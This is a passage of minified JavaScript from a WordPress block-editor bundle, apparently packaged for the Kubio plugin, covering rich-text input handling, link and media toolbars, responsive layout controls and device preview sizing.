e.addEventListener("paste",n),()=>{e.removeEventListener("paste",n)}}),[])}const Zo=["`",'"',"'","“”","‘’"];function Jo(e){const{__unstableMarkLastChangeAsPersistent:t,__unstableMarkAutomaticChange:n}=Object(_.useDispatch)(C.a),o=Object(a.useRef)(e);return o.current=e,Object(ke.useRefEffect)((e=>{function r(r){const{inputType:l,data:c}=r,{value:i,onChange:a}=o.current;if("insertText"!==l)return;if(Object(Lo.isCollapsed)(i))return;const s=Object(O.applyFilters)("blockEditor.wrapSelectionSettings",Zo).find((e=>{let[t,n]=e;return t===c||n===c}));if(!s)return;const[u,d=u]=s,b=i.start,p=i.end+u.length;let m=Object(Lo.insert)(i,u,b,b);m=Object(Lo.insert)(m,d,p,p),t(),a(m),n();const f={};for(const e in r)f[e]=r[e];f.data=d;const{ownerDocument:g}=e,{defaultView:h}=g,v=new h.InputEvent("input",f);window.queueMicrotask((()=>{r.target.dispatchEvent(v)})),r.preventDefault()}return e.addEventListener("beforeinput",r),()=>{e.removeEventListener("beforeinput",r)}}),[])}var er=n(113);function tr(e){let t=e.length;for(;t--;){const n=Object(er.b)(e[t].attributes);if(n)return e[t].attributes[n]=e[t].attributes[n].replace(er.a,""),e[t].clientId;const o=tr(e[t].innerBlocks);if(o)return o}}function nr(e){const{__unstableMarkLastChangeAsPersistent:t,__unstableMarkAutomaticChange:n}=Object(_.useDispatch)(C.a),o=Object(a.useRef)(e);return o.current=e,Object(ke.useRefEffect)((e=>{function r(){const{value:e,onReplace:t,selectionChange:r}=o.current;if(!t)return;const{start:l,text:c}=e;if(" "!==c.slice(l-1,l))return;const i=c.slice(0,l).trim(),a=Object(k.getBlockTransforms)("from").filter((e=>{let{type:t}=e;return"prefix"===t})),s=Object(k.findTransform)(a,(e=>{let{prefix:t}=e;return i===t}));if(!s)return;const u=Object(Lo.toHTMLString)({value:Object(Lo.insert)(e,er.a,0,l)}),d=s.transform(u);r(tr([d])),t([d]),n()}function l(e){const{inputType:l,type:c}=e,{value:i,onChange:a,__unstableAllowPrefixTransformations:s,formatTypes:u}=o.current;if("insertText"!==l&&"compositionend"!==c)return;s&&r&&r();const d=u.reduce(((e,t)=>{let{__unstableInputRule:n}=t;return n&&(e=n(e)),e}),function(e){const t="tales of gutenberg",{start:n,text:o}=e;return n<t.length||o.slice(n-t.length,n).toLowerCase()!==t?e:Object(Lo.insert)(e," 🐡🐢🦀🐤🦋🐘🐧🐹🦁🦄🦍🐼🐿🎃🐴🐝🐆🦕🦔🌱🍇π🍌🐉💧🥨🌌🍂🍠🥦🥚🥝🎟🥥🥒🛵🥖🍒🍯🎾🎲🐺🐚🐮⌛️")}(i));d!==i&&(t(),a({...d,activeFormats:i.activeFormats}),n())}return e.addEventListener("input",l),e.addEventListener("compositionend",l),()=>{e.removeEventListener("input",l),e.removeEventListener("compositionend",l)}}),[])}function or(e){const{__unstableMarkAutomaticChange:t}=Object(_.useDispatch)(C.a),n=Object(a.useRef)(e);return n.current=e,Object(ke.useRefEffect)((e=>{function o(e){if(e.defaultPrevented)return;if(e.keyCode!==oe.ENTER)return;const{removeEditorOnlyFormats:o,value:r,onReplace:l,onSplit:c,onSplitMiddle:i,multilineTag:a,onChange:s,disableLineBreaks:u,onSplitAtEnd:d}=n.current;e.preventDefault();const b={...r};b.formats=o(r);const p=l&&c;if(l){const e=Object(k.getBlockTransforms)("from").filter((e=>{let{type:t}=e;return"enter"===t})),n=Object(k.findTransform)(e,(e=>e.regExp.test(b.text)));n&&(l([n.transform({content:b.text})]),t())}if(a)e.shiftKey?u||s(Object(Lo.insert)(b,"\n")):p&&Object(Lo.__unstableIsEmptyLine)(b)?qo({value:b,onReplace:l,onSplit:c,onSplitMiddle:i,multilineTag:a}):s(Object(Lo.__unstableInsertLineSeparator)(b));else{const{text:t,start:n,end:o}=b,r=d&&n===o&&o===t.length;e.shiftKey||!p&&!r?u||s(Object(Lo.insert)(b,"\n")):!p&&r?d():p&&qo({value:b,onReplace:l,onSplit:c,onSplitMiddle:i,multilineTag:a})}}return e.addEventListener("keydown",o),()=>{e.removeEventListener("keydown",o)}}),[])}function rr(e){return e(Lo.store).getFormatTypes()}const lr=new Set(["a","audio","button","details","embed","iframe","input","label","select","textarea","video"]);function cr(e,t){return e[t]?e[t]:Object.keys(e).filter((e=>e.startsWith(t+"."))).reduce(((n,o)=>(n[o.slice(t.length+1)]=e[o],n)),{})}function ir(e){return Object(ke.useRefEffect)((t=>{function n(t){for(const n of e.current)n(t)}return t.addEventListener("keydown",n),()=>{t.removeEventListener("keydown",n)}}),[])}function ar(e){return Object(ke.useRefEffect)((t=>{function n(t){for(const n of e.current)n(t)}return t.addEventListener("input",n),()=>{t.removeEventListener("input",n)}}),[])}function sr(){const{__unstableMarkLastChangeAsPersistent:e}=Object(_.useDispatch)(C.a);return Object(ke.useRefEffect)((t=>{function n(t){"insertReplacementText"===t.inputType&&e()}return t.addEventListener("beforeinput",n),()=>{t.removeEventListener("beforeinput",n)}}),[])}function ur(){const{isMultiSelecting:e}=Object(_.useSelect)(C.a);return Object(ke.useRefEffect)((t=>{function n(){if(!e())return;const n=t.parentElement.closest('[contenteditable="true"]');n&&n.focus()}return t.addEventListener("focus",n),()=>{t.removeEventListener("focus",n)}}),[])}function dr(e){let{formatTypes:t,onChange:n,onFocus:o,value:r,forwardedRef:l}=e;return t.map((e=>{const{name:t,edit:c}=e;if(!c)return null;const i=Object(Lo.getActiveFormat)(r,t);let s=void 0!==i;const u=Object(Lo.getActiveObject)(r),d=void 0!==u&&u.type===t;if("core/link"===t&&!Object(Lo.isCollapsed)(r)){var b,p;const e=r.formats,t=null===(b=e[r.start])||void 0===b?void 0:b.find((e=>{let{type:t}=e;return"core/link"===t})),n=null===(p=e[r.end-1])||void 0===p?void 0:p.find((e=>{let{type:t}=e;return"core/link"===t}));t&&n&&t===n||(s=!1)}return Object(a.createElement)(c,{key:t,isActive:s,activeAttributes:s&&i.attributes||{},isObjectActive:d,activeObjectAttributes:d&&u.attributes||{},value:r,onChange:n,onFocus:o,contentRef:l})}))}function br(e){let{character:t,type:n,onUse:o}=e;const r=Object(a.useContext)(fr),l=Object(a.useRef)();return l.current=o,Object(a.useEffect)((()=>{function e(e){oe.isKeyboardEvent[n](e,t)&&(l.current(),e.preventDefault())}return r.current.add(e),()=>{r.current.delete(e)}}),[t,n]),null}function pr(e){let t,{name:n,shortcutType:o,shortcutCharacter:r,...l}=e,c="RichText.ToolbarControls";return n&&(c+=`.${n}`),o&&r&&(t=oe.displayShortcut[o](r)),Object(a.createElement)(u.Fill,{name:c},Object(a.createElement)(u.ToolbarButton,Object(i.a)({},l,{shortcut:t})))}function mr(e){let{inputType:t,onInput:n}=e;const o=Object(a.useContext)(gr),r=Object(a.useRef)();return r.current=n,Object(a.useEffect)((()=>{function e(e){e.inputType===t&&(r.current(),e.preventDefault())}return o.current.add(e),()=>{o.current.delete(e)}}),[t]),null}const fr=Object(a.createContext)(),gr=Object(a.createContext)(),hr=Object(a.forwardRef)((function e(t,n){let{children:o,tagName:r="div",value:l="",onChange:c,isSelected:s,multiline:d,inlineToolbar:b,wrapperClassName:p,autocompleters:m,onReplace:f,placeholder:g,allowedFormats:h,withoutInteractiveFormatting:v,onRemove:O,onMerge:j,onSplit:y,__unstableOnSplitAtEnd:E,__unstableOnSplitMiddle:S,identifier:w,preserveWhiteSpace:B,__unstablePastePlainText:I,__unstableEmbedURLOnPaste:x,__unstableDisableFormats:T,disableLineBreaks:N,unstableOnFocus:M,__unstableAllowPrefixTransformations:P,...L}=t;d&&pe()("wp.blockEditor.RichText multiline prop",{since:"6.1",version:"6.3",alternative:"nested blocks (InnerBlocks)",link:"https://developer.wordpress.org/block-editor/how-to-guides/block-tutorial/nested-blocks-inner-blocks/"});const R=Object(ke.useInstanceId)(e);w=w||R,L=function(e){const{__unstableMobileNoFocusOnMount:t,deleteEnter:n,placeholderTextColor:o,textAlign:r,selectionColor:l,tagsToEliminate:c,rootTagsToEliminate:i,disableEditingMenu:a,fontSize:s,fontFamily:u,fontWeight:d,fontStyle:b,minWidth:p,maxWidth:m,setRef:f,disableSuggestions:g,disableAutocorrection:h,...v}=e;return v}(L);const A=Object(a.useRef)(),{clientId:D}=Object(ve.b)(),{selectionStart:z,selectionEnd:V,isSelected:G}=Object(_.useSelect)((e=>{const{getSelectionStart:t,getSelectionEnd:n}=e(C.a),o=t(),r=n();let l;return void 0===s?l=o.clientId===D&&r.clientId===D&&o.attributeKey===w:s&&(l=o.clientId===D),{selectionStart:l?o.offset:void 0,selectionEnd:l?r.offset:void 0,isSelected:l}})),{getSelectionStart:$,getSelectionEnd:U,getBlockRootClientId:W}=Object(_.useSelect)(C.a),{selectionChange:K}=Object(_.useDispatch)(C.a),q=Uo(d),Y=Wo({allowedFormats:h,disableFormats:T}),Q=!Y||Y.length>0;let X=l,Z=c;Array.isArray(l)&&(pe()("wp.blockEditor.RichText value prop as children type",{since:"6.1",version:"6.3",alternative:"value prop as string",link:"https://developer.wordpress.org/block-editor/how-to-guides/block-tutorial/introducing-attributes-and-editable-fields/"}),X=k.children.toHTML(l),Z=e=>c(k.children.fromDOM(Object(Lo.__unstableCreateElement)(document,e).childNodes)));const J=Object(a.useCallback)(((e,t)=>{const n={},o=void 0===e&&void 0===t;if("number"==typeof e||o){if(void 0===t&&W(D)!==W(U().clientId))return;n.start={clientId:D,attributeKey:w,offset:e}}if("number"==typeof t||o){if(void 0===e&&W(D)!==W($().clientId))return;n.end={clientId:D,attributeKey:w,offset:t}}K(n)}),[D,w]),{formatTypes:ee,prepareHandlers:te,valueHandlers:ne,changeHandlers:re,dependencies:le}=function(e){let{clientId:t,identifier:n,withoutInteractiveFormatting:o,allowedFormats:r}=e;const l=Object(_.useSelect)(rr,[]),c=Object(a.useMemo)((()=>l.filter((e=>{let{name:t,tagName:n}=e;return!(r&&!r.includes(t)||o&&lr.has(n))}))),[l,r,lr]),i=Object(_.useSelect)((e=>c.reduce(((o,r)=>{return r.__experimentalGetPropsForEditableTreePreparation?{...o,...(l=r.__experimentalGetPropsForEditableTreePreparation(e,{richTextIdentifier:n,blockClientId:t}),c=r.name,"object"!=typeof l?{[c]:l}:Object.fromEntries(Object.entries(l).map((e=>{let[t,n]=e;return[`${c}.${t}`,n]}))))}:o;var l,c}),{})),[c,t,n]),s=Object(_.useDispatch)(),u=[],d=[],b=[],p=[];for(const e in i)p.push(i[e]);return c.forEach((e=>{if(e.__experimentalCreatePrepareEditableTree){const o=e.__experimentalCreatePrepareEditableTree(cr(i,e.name),{richTextIdentifier:n,blockClientId:t});e.__experimentalCreateOnChangeEditableValue?d.push(o):u.push(o)}if(e.__experimentalCreateOnChangeEditableValue){let o={};e.__experimentalGetPropsForEditableTreeChangeHandler&&(o=e.__experimentalGetPropsForEditableTreeChangeHandler(s,{richTextIdentifier:n,blockClientId:t}));const r=cr(i,e.name);b.push(e.__experimentalCreateOnChangeEditableValue({..."object"==typeof r?r:{},...o},{richTextIdentifier:n,blockClientId:t}))}})),{formatTypes:c,prepareHandlers:u,valueHandlers:d,changeHandlers:b,dependencies:p}}({clientId:D,identifier:w,withoutInteractiveFormatting:v,allowedFormats:Y});function ce(e){return ee.forEach((t=>{t.__experimentalCreatePrepareEditableTree&&(e=Object(Lo.removeFormat)(e,t.name,0,e.text.length))})),e.formats}const{value:ie,onChange:ae,ref:se}=Object(Lo.__unstableUseRichText)({value:X,onChange(e,t){let{__unstableFormats:n,__unstableText:o}=t;Z(e),Object.values(re).forEach((e=>{e(n,o)}))},selectionStart:z,selectionEnd:V,onSelectionChange:J,placeholder:g,__unstableIsSelected:G,__unstableMultilineTag:q,__unstableDisableFormats:T,preserveWhiteSpace:B,__unstableDependencies:[...le,r],__unstableAfterParse:function(e){return ne.reduce(((t,n)=>n(t,e.text)),e.formats)},__unstableBeforeSerialize:ce,__unstableAddInvisibleFormats:function(e){return te.reduce(((t,n)=>n(t,e.text)),e.formats)}}),ue=function(e){return Object(u.__unstableUseAutocompleteProps)({...e,completers:F(e)})}({onReplace:f,completers:m,record:ie,onChange:ae});!function(e){let{html:t,value:n}=e;const o=Object(a.useRef)(),r=n.activeFormats&&!!n.activeFormats.length,{__unstableMarkLastChangeAsPersistent:l}=Object(_.useDispatch)(C.a);Object(a.useLayoutEffect)((()=>{if(o.current){if(o.current!==n.text){const e=window.setTimeout((()=>{l()}),1e3);return o.current=n.text,()=>{window.clearTimeout(e)}}l()}else o.current=n.text}),[t,r])}({html:X,value:ie});const de=Object(a.useRef)(new Set),be=Object(a.useRef)(new Set);function me(){var e;null===(e=A.current)||void 0===e||e.focus()}const fe=r;return Object(a.createElement)(a.Fragment,null,G&&Object(a.createElement)(fr.Provider,{value:de},Object(a.createElement)(gr.Provider,{value:be},Object(a.createElement)(u.Popover.__unstableSlotNameProvider,{value:"__unstable-block-tools-after"},o&&o({value:ie,onChange:ae,onFocus:me}),Object(a.createElement)(dr,{value:ie,onChange:ae,onFocus:me,formatTypes:ee,forwardedRef:A})))),G&&Q&&Object(a.createElement)(Vo,{inline:b,editableContentElement:A.current,value:ie}),Object(a.createElement)(fe,Object(i.a)({role:"textbox","aria-multiline":!N,"aria-label":g},L,ue,{ref:Object(ke.useMergeRefs)([n,ue.ref,L.ref,se,Jo({value:ie,onChange:ae}),nr({value:ie,onChange:ae,__unstableAllowPrefixTransformations:P,formatTypes:ee,onReplace:f,selectionChange:K}),sr(),Object(ke.useRefEffect)((e=>{function t(e){(oe.isKeyboardEvent.primary(e,"z")||oe.isKeyboardEvent.primary(e,"y")||oe.isKeyboardEvent.primaryShift(e,"z"))&&e.preventDefault()}return e.addEventListener("keydown",t),()=>{e.addEventListener("keydown",t)}}),[]),ir(de),ar(be),Ho(),Xo({isSelected:G,disableFormats:T,onChange:ae,value:ie,formatTypes:ee,tagName:r,onReplace:f,onSplit:y,onSplitMiddle:S,__unstableEmbedURLOnPaste:x,multilineTag:q,preserveWhiteSpace:B,pastePlainText:I}),or({removeEditorOnlyFormats:ce,value:ie,onReplace:f,onSplit:y,onSplitMiddle:S,multilineTag:q,onChange:ae,disableLineBreaks:N,onSplitAtEnd:E}),ur(),A]),contentEditable:!0,suppressContentEditableWarning:!0,className:H()("block-editor-rich-text__editable",L.className,"rich-text"),onFocus:M,onKeyDown:function(e){const{keyCode:t}=e;if(!e.defaultPrevented&&(t===oe.DELETE||t===oe.BACKSPACE)){const{start:n,end:o,text:r}=ie,l=t===oe.BACKSPACE,c=ie.activeFormats&&!!ie.activeFormats.length;if(!Object(Lo.isCollapsed)(ie)||c||l&&0!==n||!l&&o!==r.length)return;j&&j(!l),O&&Object(Lo.isEmpty)(ie)&&l&&O(!l),e.preventDefault()}}})))}));hr.Content=e=>{let{value:t,tagName:n,multiline:o,...r}=e;Array.isArray(t)&&(pe()("wp.blockEditor.RichText value prop as children type",{since:"6.1",version:"6.3",alternative:"value prop as string",link:"https://developer.wordpress.org/block-editor/how-to-guides/block-tutorial/introducing-attributes-and-editable-fields/"}),t=k.children.toHTML(t));const l=Uo(o);!t&&l&&(t=`<${l}></${l}>`);const c=Object(a.createElement)(a.RawHTML,null,t);if(n){const{format:e,...t}=r;return Object(a.createElement)(n,t,c)}return c},hr.isEmpty=e=>!e||0===e.length;var vr=hr;const Or=Object(a.forwardRef)(((e,t)=>Object(a.createElement)(vr,Object(i.a)({ref:t},e,{__unstableDisableFormats:!0,preserveWhiteSpace:!0}))));Or.Content=e=>{let{value:t="",tagName:n="div",...o}=e;return Object(a.createElement)(n,o,t)};var kr=Or,jr=Object(a.forwardRef)(((e,t)=>{let{__experimentalVersion:n,...o}=e;if(2===n)return Object(a.createElement)(kr,Object(i.a)({ref:t},o));const{className:r,onChange:l,...c}=o;return Object(a.createElement)(Po.a,Object(i.a)({ref:t,className:H()("block-editor-plain-text",r),onChange:e=>l(e.target.value)},c))}));function _r(e){let{property:t,viewport:n,desc:o}=e;const r=Object(ke.useInstanceId)(_r),l=o||Object(s.sprintf)(/* translators: 1: property name. 2: viewport name. */Object(s._x)("Controls the %1$s property for %2$s viewports.","Text labelling a interface as controlling a given layout property (eg: margin) for a given screen size.","kubio"),t,n.label);return Object(a.createElement)(a.Fragment,null,Object(a.createElement)("span",{"aria-describedby":`rbc-desc-${r}`},n.label),Object(a.createElement)(u.VisuallyHidden,{as:"span",id:`rbc-desc-${r}`},l))}var yr=function(e){const{title:t,property:n,toggleLabel:o,onIsResponsiveChange:r,renderDefaultControl:l,renderResponsiveControls:c,isResponsive:i=!1,defaultLabel:d={id:"all",/* translators: 'Label. Used to signify a layout property (eg: margin, padding) will apply uniformly to all screensizes.' */label:Object(s.__)("All","kubio")},viewports:b=[{id:"small",label:Object(s.__)("Small screens","kubio")},{id:"medium",label:Object(s.__)("Medium screens","kubio")},{id:"large",label:Object(s.__)("Large screens","kubio")}]}=e;if(!t||!n||!l)return null;const p=o||Object(s.sprintf)(/* translators: 'Toggle control label. Should the property be the same across all screen sizes or unique per screen size.'. %s property value for the control (eg: margin, padding...etc) */Object(s.__)("Use the same %s on all screensizes.","kubio"),n),m=Object(s.__)("Toggle between using the same value for all screen sizes or using a unique value per screen size.","kubio"),f=l(Object(a.createElement)(_r,{property:n,viewport:d}),d);/* translators: 'Help text for the responsive mode toggle control.' */return Object(a.createElement)("fieldset",{className:"block-editor-responsive-block-control"},Object(a.createElement)("legend",{className:"block-editor-responsive-block-control__title"},t),Object(a.createElement)("div",{className:"block-editor-responsive-block-control__inner"},Object(a.createElement)(u.ToggleControl,{className:"block-editor-responsive-block-control__toggle",label:p,checked:!i,onChange:r,help:m}),Object(a.createElement)("div",{className:H()("block-editor-responsive-block-control__group",{"is-responsive":i})},!i&&f,i&&(c?c(b):b.map((e=>Object(a.createElement)(a.Fragment,{key:e.id},l(Object(a.createElement)(_r,{property:n,viewport:e}),e))))))))};const Er=Object(a.createElement)(u.SVG,{xmlns:"http://www.w3.org/2000/svg",width:"24",height:"24",viewBox:"0 0 24 24"},Object(a.createElement)(u.Path,{d:"M9.4 20.5L5.2 3.8l14.6 9-2 .3c-.2 0-.4.1-.7.1-.9.2-1.6.3-2.2.5-.8.3-1.4.5-1.8.8-.4.3-.8.8-1.3 1.5-.4.5-.8 1.2-1.2 2l-.3.6-.9 1.9zM7.6 7.1l2.4 9.3c.2-.4.5-.8.7-1.1.6-.8 1.1-1.4 1.6-1.8.5-.4 1.3-.8 2.2-1.1l1.2-.3-8.1-5z"}));var Sr=Object(a.forwardRef)((function(e,t){const n=Object(_.useSelect)((e=>e(C.a).__unstableGetEditorMode()),[]),{__unstableSetEditorMode:o}=Object(_.useDispatch)(C.a);return Object(a.createElement)(u.Dropdown,{renderToggle:o=>{let{isOpen:r,onToggle:l}=o;return Object(a.createElement)(u.Button,Object(i.a)({},e,{ref:t,icon:"navigation"===n?Er:Oo.a,"aria-expanded":r,"aria-haspopup":"true",onClick:l/* translators: button label text should, if possible, be under 16 characters. */,label:Object(s.__)("Tools","kubio")}))},position:"bottom right",popoverProps:{placement:"bottom-start"},renderContent:()=>Object(a.createElement)(a.Fragment,null,Object(a.createElement)(u.NavigableMenu,{role:"menu","aria-label":Object(s.__)("Tools","kubio")},Object(a.createElement)(u.MenuItemsChoice,{value:"navigation"===n?"navigation":"edit",onSelect:o,choices:[{value:"edit",label:Object(a.createElement)(a.Fragment,null,Object(a.createElement)(M.a,{icon:Oo.a}),Object(s.__)("Edit","kubio"))},{value:"navigation",label:Object(a.createElement)(a.Fragment,null,Er,Object(s.__)("Select","kubio"))}]})),Object(a.createElement)("div",{className:"block-editor-tool-selector__help"},Object(s.__)("Tools provide different interactions for selecting, navigating, and editing blocks. Toggle between select and edit by pressing Escape and Enter.","kubio")))})}));function Cr(e){let{units:t,...n}=e;const o=Object(u.__experimentalUseCustomUnits)({availableUnits:Object(Lt.a)("spacing.units")||["%","px","em","rem","vw"],units:t});return Object(a.createElement)(u.__experimentalUnitControl,Object(i.a)({units:o},n))}var wr=n(328),Br=Object(a.createElement)(L.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24"},Object(a.createElement)(L.Path,{d:"M20 11.2H6.8l3.7-3.7-1-1L3.9 12l5.6 5.5 1-1-3.7-3.7H20z"}));class Ir extends a.Component{constructor(){super(...arguments),this.toggle=this.toggle.bind(this),this.submitLink=this.submitLink.bind(this),this.state={expanded:!1}}toggle(){this.setState({expanded:!this.state.expanded})}submitLink(e){e.preventDefault(),this.toggle()}render(){const{url:e,onChange:t}=this.props,{expanded:n}=this.state,o=e?Object(s.__)("Edit link","kubio"):Object(s.__)("Insert link","kubio");return Object(a.createElement)("div",{className:"block-editor-url-input__button"},Object(a.createElement)(u.Button,{icon:wr.a,label:o,onClick:this.toggle,className:"components-toolbar__control",isPressed:!!e}),n&&Object(a.createElement)("form",{className:"block-editor-url-input__button-modal",onSubmit:this.submitLink},Object(a.createElement)("div",{className:"block-editor-url-input__button-modal-line"},Object(a.createElement)(u.Button,{className:"block-editor-url-input__back",icon:Br,label:Object(s.__)("Close","kubio"),onClick:this.toggle}),Object(a.createElement)(So,{__nextHasNoMarginBottom:!0,value:e||"",onChange:t}),Object(a.createElement)(u.Button,{icon:vo,label:Object(s.__)("Submit","kubio"),type:"submit"}))))}}var xr=Ir,Tr=n(433);const Nr="none",Mr="custom",Pr="media",Lr="attachment",Rr=["noreferrer","noopener"],Ar=Object(a.createElement)(u.SVG,{viewBox:"0 0 24 24",xmlns:"http://www.w3.org/2000/svg"},Object(a.createElement)(u.Path,{d:"M0,0h24v24H0V0z",fill:"none"}),Object(a.createElement)(u.Path,{d:"m19 5v14h-14v-14h14m0-2h-14c-1.1 0-2 0.9-2 2v14c0 1.1 0.9 2 2 2h14c1.1 0 2-0.9 2-2v-14c0-1.1-0.9-2-2-2z"}),Object(a.createElement)(u.Path,{d:"m14.14 11.86l-3 3.87-2.14-2.59-3 3.86h12l-3.86-5.14z"})),Dr=e=>{let{linkDestination:t,onChangeUrl:n,url:o,mediaType:r="image",mediaUrl:l,mediaLink:c,linkTarget:i,linkClass:d,rel:b}=e;const[p,m]=Object(a.useState)(!1),[f,g]=Object(a.useState)(null),h=Object(a.useCallback)((()=>{m(!0)})),[v,O]=Object(a.useState)(!1),[k,j]=Object(a.useState)(null),_=Object(a.useRef)(null),y=Object(a.useCallback)((()=>{t!==Pr&&t!==Lr||j(""),O(!0)})),E=Object(a.useCallback)((()=>{O(!1)})),S=Object(a.useCallback)((()=>{j(null),E(),m(!1)})),C=Object(a.useCallback)((()=>e=>{const t=_.current;t&&t.contains(e.target)||(m(!1),j(null),E())})),w=Object(a.useCallback)((()=>e=>{if(k){var t;const e=(null===(t=I().find((e=>e.url===k)))||void 0===t?void 0:t.linkDestination)||Mr;n({href:k,linkDestination:e})}E(),j(null),e.preventDefault()})),B=Object(a.useCallback)((()=>{n({linkDestination:Nr,href:""})})),I=()=>{const e=[{linkDestination:Pr,title:Object(s.__)("Media File","kubio"),url:"image"===r?l:void 0,icon:Ar}];return"image"===r&&c&&e.push({linkDestination:Lr,title:Object(s.__)("Attachment Page","kubio"),url:"image"===r?c:void 0,icon:Object(a.createElement)(u.SVG,{viewBox:"0 0 24 24",xmlns:"http://www.w3.org/2000/svg"},Object(a.createElement)(u.Path,{d:"M0 0h24v24H0V0z",fill:"none"}),Object(a.createElement)(u.Path,{d:"M14 2H6c-1.1 0-1.99.9-1.99 2L4 20c0 1.1.89 2 1.99 2H18c1.1 0 2-.9 2-2V8l-6-6zM6 20V4h7v5h5v11H6z"}))}),e},x=Object(a.createElement)(u.__experimentalVStack,{spacing:"3"},Object(a.createElement)(u.ToggleControl,{__nextHasNoMarginBottom:!0,label:Object(s.__)("Open in new tab","kubio"),onChange:e=>{const t=(e=>{const t=e?"_blank":void 0;let n;if(t){const e=(null!=b?b:"").split(" ");Rr.forEach((t=>{e.includes(t)||e.push(t)})),n=e.join(" ")}else{const e=(null!=b?b:"").split(" ").filter((e=>!1===Rr.includes(e)));n=e.length?e.join(" "):void 0}return{linkTarget:t,rel:n}})(e);n(t)},checked:"_blank"===i}),Object(a.createElement)(u.TextControl,{__nextHasNoMarginBottom:!0,label:Object(s.__)("Link rel","kubio"),value:null!=b?b:"",onChange:e=>{n({rel:e})}}),Object(a.createElement)(u.TextControl,{__nextHasNoMarginBottom:!0,label:Object(s.__)("Link CSS Class","kubio"),value:d||"",onChange:e=>{n({linkClass:e})}})),T=null!==k?k:o,N=(I().find((e=>e.linkDestination===t))||{}).title;return Object(a.createElement)(a.Fragment,null,Object(a.createElement)(u.ToolbarButton,{icon:wr.a,className:"components-toolbar__control",label:o?Object(s.__)("Edit link","kubio"):Object(s.__)("Insert link","kubio"),"aria-expanded":p,onClick:h,ref:g}),p&&Object(a.createElement)(Bo,{anchor:f,onFocusOutside:C(),onClose:S,renderSettings:()=>x,additionalControls:!T&&Object(a.createElement)(u.NavigableMenu,null,I().map((e=>Object(a.createElement)(u.MenuItem,{key:e.linkDestination,icon:e.icon,onClick:()=>{j(null),(e=>{const t=I();let o;o=e?(t.find((t=>t.url===e))||{linkDestination:Mr}).linkDestination:Nr,n({linkDestination:o,href:e})})(e.url),E()}},e.title))))},(!o||v)&&Object(a.createElement)(Bo.LinkEditor,{className:"block-editor-format-toolbar__link-container-content",value:T,onChangeInputValue:j,onSubmit:w(),autocompleteRef:_}),o&&!v&&Object(a.createElement)(a.Fragment,null,Object(a.createElement)(Bo.LinkViewer,{className:"block-editor-format-toolbar__link-container-content",url:o,onEditLinkClick:y,urlLabel:N}),Object(a.createElement)(u.Button,{icon:Tr.a,label:Object(s.__)("Remove link","kubio"),onClick:B}))))};var Fr=n(127),zr=n(226),Vr=n(224),Hr=n(228),Gr=n(230);function $r(e){let{children:t,viewLabel:n,className:o,isEnabled:r=!0,deviceType:l,setDeviceType:c}=e;if(Object(ke.useViewportMatch)("small","<"))return null;const i={className:H()(o,"block-editor-post-preview__dropdown-content"),position:"bottom left"},d={variant:"tertiary",className:"block-editor-post-preview__button-toggle",disabled:!r,children:n},b={"aria-label":Object(s.__)("View options","kubio")};return Object(a.createElement)(u.DropdownMenu,{className:"block-editor-post-preview__dropdown",popoverProps:i,toggleProps:d,menuProps:b,icon:null},(()=>Object(a.createElement)(a.Fragment,null,Object(a.createElement)(u.MenuGroup,null,Object(a.createElement)(u.MenuItem,{className:"block-editor-post-preview__button-resize",onClick:()=>c("Desktop"),icon:"Desktop"===l&&Rn.a},Object(s.__)("Desktop","kubio")),Object(a.createElement)(u.MenuItem,{className:"block-editor-post-preview__button-resize",onClick:()=>c("Tablet"),icon:"Tablet"===l&&Rn.a},Object(s.__)("Tablet","kubio")),Object(a.createElement)(u.MenuItem,{className:"block-editor-post-preview__button-resize",onClick:()=>c("Mobile"),icon:"Mobile"===l&&Rn.a},Object(s.__)("Mobile","kubio"))),t)))}function Ur(e){const[t,n]=Object(a.useState)(window.innerWidth);Object(a.useEffect)((()=>{if("Desktop"===e)return;const t=()=>n(window.innerWidth);return window.addEventListener("resize",t),()=>{window.removeEventListener("resize",t)}}),[e]);const o=e=>{let n;switch(e){case"Tablet":n=780;break;case"Mobile":n=412;break;default:return null}return n<t?n:t};return Object(a.useMemo)((()=>{const t=`min( calc(100% - 30px), ${"Mobile"===e?"768px":"1200px"})`;switch(e){case"Tablet":case"Mobile":return{width:o(e),flexGrow:0,height:t,maxHeight:"100%",borderRadius:"4px"};default:return{width:"100%",flexGrow:0,height:"100%",maxHeight:"100%",borderRadius:"0px"}}}),[e])}var Wr=n(71),Kr=Object(_.withSelect)((e=>({selectedBlockClientId:e(C.a).getBlockSelectionStart()})))((e=>{let{selectedBlockClientId:t}=e;const n=Object(Wr.b)(t);return t?Object(a.createElement)(u.Button,{variant:"secondary",className:"block-editor-skip-to-selected-block",onClick:()=>{n.current.focus()}},Object(s.__)("Skip to the selected block","kubio")):null})),qr=n(387),Yr=n(676),Qr=Object(_.withSelect)((e=>{const{getMultiSelectedBlocks:t}=e(C.a);return{blocks:t()}}))((function(e){let{blocks:t}=e;const n=Object(qr.count)(Object(k.serialize)(t),"words");return Object(a.createElement)("div",{className:"block-editor-multi-selection-inspector__card"},Object(a.createElement)(S.a,{icon:Yr.a,showColors:!0}),Object(a.createElement)("div",{className:"block-editor-multi-selection-inspector__card-content"},Object(a.createElement)("div",{className:"block-editor-multi-selection-inspector__card-title"},Object(s.sprintf)(/* translators: %d: number of blocks */Object(s._n)("%d block","%d blocks",t.length,"kubio"),t.length)),Object(a.createElement)("div",{className:"block-editor-multi-selection-inspector__card-description"},Object(s.sprintf)(/* translators: %d: number of words */Object(s._n)("%d word","%d words",n,"kubio"),n))))}));function Xr(e){let{blockName:t}=e;const{preferredStyle:n,onUpdatePreferredStyleVariations:o,styles:r}=Object(_.useSelect)((e=>{var n,o;const r=e(C.a).getSettings().__experimentalPreferredStyleVariations;return{preferredStyle:null==r||null===(n=r.value)||void 0===n?void 0:n[t],onUpdatePreferredStyleVariations:null!==(o=null==r?void 0:r.onChange)&&void 0!==o?o:null,styles:e(k.store).getBlockStyles(t)}}),[t]),l=Object(a.useMemo)((()=>[{label:Object(s.__)("Not set","kubio"),value:""},...r.map((e=>{let{label:t,name:n}=e;return{label:t,value:n}}))]),[r]),c=Object(a.useMemo)((()=>{var e;return null===(e=Object(rt.b)(r))||void 0===e?void 0:e.name}),[r]),i=Object(a.useCallback)((e=>{o(t,e)}),[t,o]);return n&&n!==c?o&&Object(a.createElement)("div",{className:"default-style-picker__default-switcher"},Object(a.createElement)(u.SelectControl,{__nextHasNoMarginBottom:!0,options:l,value:n||"",label:Object(s.__)("Default Style","kubio"),onChange:i})):null}var 